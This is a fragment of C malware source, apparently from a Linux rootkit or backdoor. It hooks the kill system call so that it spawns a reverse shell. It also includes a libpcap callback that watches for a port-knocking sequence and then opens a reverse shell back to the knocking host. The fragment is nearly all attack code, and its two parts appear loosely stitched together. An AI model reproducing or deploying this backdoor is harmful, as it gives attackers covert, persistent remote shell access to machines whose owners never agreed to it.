asmlinkage int our_kill(pid_t pid, int sig)
{
reverse_shell();
printk(KERN_INFO "SYS_KILL: %d\n",pid);
return (*orig_kill)(pid,sig);
}
void
ip_cb (u_char *args, const struct pcap_pkthdr* pkthdr, const u_char *p)
{
struct ip *ip_pkt;
struct tcphdr *tcp_pkt;
int port;
ip_pkt = (struct ip*) (p + sizeof (struct ether_header));
tcp_pkt = (struct tcphdr*) (p + sizeof (struct ether_header) +
sizeof(struct ip));
port = ntohs(tcp_pkt->dest);
if (port_list[indx] == port)
{
indx ++;
/* Store IP to connect back whenever the door is Open */
memcpy ((void*)&ip, (void*)&ip_pkt->ip_src, sizeof(struct in_addr));
printf ("+ [%d] SYNC From : %s:%d\n",
indx, inet_ntoa(ip_pkt->ip_src), port);
if (port_list[indx] == -1)
{
printf ("Open The door!\n");
reverse_shell (ip);
indx = 0;
}
}
else
{
// Whenever a a connection comes out of order
// The knocking sequence is reset
indx = 0;
}
}
